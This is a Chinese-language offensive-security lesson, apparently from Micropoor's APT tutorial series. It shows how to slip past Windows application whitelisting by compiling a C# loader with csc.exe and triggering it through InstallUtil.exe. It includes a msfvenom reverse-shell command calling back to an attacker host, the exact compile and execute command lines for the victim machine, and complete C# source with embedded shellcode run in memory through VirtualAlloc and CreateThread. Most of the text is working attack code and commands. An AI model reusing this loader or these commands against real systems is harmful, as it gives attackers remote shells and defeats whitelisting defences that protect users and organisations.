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专注APT攻击与防御
https://micropoor.blogspot.com/

注:请多喝点热水或者凉白开,身体特别重要。

Csc.exe简介:

C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安
装在C盘,那么你可以在C:WINNTMicrosoft.NETFrameworkxxxxx目录中发现它。为
了使用方便,你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译
HelloWorld.cs非常简单,打开命令提示符,并切换到存放 test.cs文件的目录中,输入下列
行命令:csc /target:exe test.cs 将Ttest.cs编译成名为test.exe的console应用程序

说明:Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。

基于白名单Csc.exe配置payload:

Windows 7 默认位置:

C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe
C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe

攻击机:192.168.1.4 Debian
靶机: 192.168.1.5 Windows 7

配置攻击机msf:
配置payload:

1 msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐
f csharp
copy buf 到 Micropoor_Csc.cs shellcode中。
靶机执行:

1 C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /r:System.Ente
rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micr
opoor.exe /platform:x64 /unsafe C:UsersJohnDesktopMicropoor_Csc.cs

1 C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfi
le= /LogToConsole=false /U C:UsersJohnDesktopMicropoor.exe
与第七十二课相比,payload更为灵活。

附录:Micropoor_Csc.cs

1 using System;
2 using System.Net;
3 using System.Diagnostics;
4 using System.Reflection;
5 using System.Configuration.Install;
6 using System.Runtime.InteropServices;
7
8
9 // msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp
10
11 public class Program
12 {
13 public static void Main()
14 {
15
16 }
17
18 }
19
20 [System.ComponentModel.RunInstaller(true)]
21 public class Sample : System.Configuration.Install.Installer
22 {
23
24 public override void Uninstall(System.Collections.IDictionary savedState)
25 {
26
27 Shellcode.Exec();
28
29 }
30
31 }
32
33 public class Shellcode
34 {
35 public static void Exec()
36 {
37
38 byte[] shellcode = new byte[510] {
39 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
40 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
41 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
42 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
43 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
44 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
45 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
46 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
47 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
48 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
49 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
50 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
51 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
52 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
53 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
54 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
55 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,0xe4,
56 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
57 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
58 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
59 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
60 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
61 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
62 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
63 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
64 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
65 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
66 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
67 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
68 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
69 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
70 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
71 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
72 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
73
74
75 UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
76 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
77 Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
78 IntPtr hThread = IntPtr.Zero;
79 UInt32 threadId = 0;
80
81
82
83 IntPtr pinfo = IntPtr.Zero;
84
85
86
87 hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
88 WaitForSingleObject(hThread, 0xFFFFFFFF);
89
90 }
91
92 private static UInt32 MEM_COMMIT = 0x1000;
93
94 private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
95
96 [DllImport("kernel32")]
97 private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
98 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
99
100 [DllImport("kernel32")]
101 private static extern bool VirtualFree(IntPtr lpAddress,
102 UInt32 dwSize, UInt32 dwFreeType);
103
104 [DllImport("kernel32")]
105 private static extern IntPtr CreateThread(
106
107 UInt32 lpThreadAttributes,
108 UInt32 dwStackSize,
109 UInt32 lpStartAddress,
110 IntPtr param,
111 UInt32 dwCreationFlags,
112 ref UInt32 lpThreadId
113
114 );
115 [DllImport("kernel32")]
116 private static extern bool CloseHandle(IntPtr handle);
117
118 [DllImport("kernel32")]
119 private static extern UInt32 WaitForSingleObject(
120
121 IntPtr hHandle,
122 UInt32 dwMilliseconds
123 );
124 [DllImport("kernel32")]
125 private static extern IntPtr GetModuleHandle(
126
127 string moduleName
128
129 );
130 [DllImport("kernel32")]
131 private static extern UInt32 GetProcAddress(
132
133 IntPtr hModule,
134 string procName
135
136 );
137 [DllImport("kernel32")]
138 private static extern UInt32 LoadLibrary(
139
140 string lpFileName
141
142 );
143 [DllImport("kernel32")]
144 private static extern UInt32 GetLastError();
145
146
147 }

Micropoor

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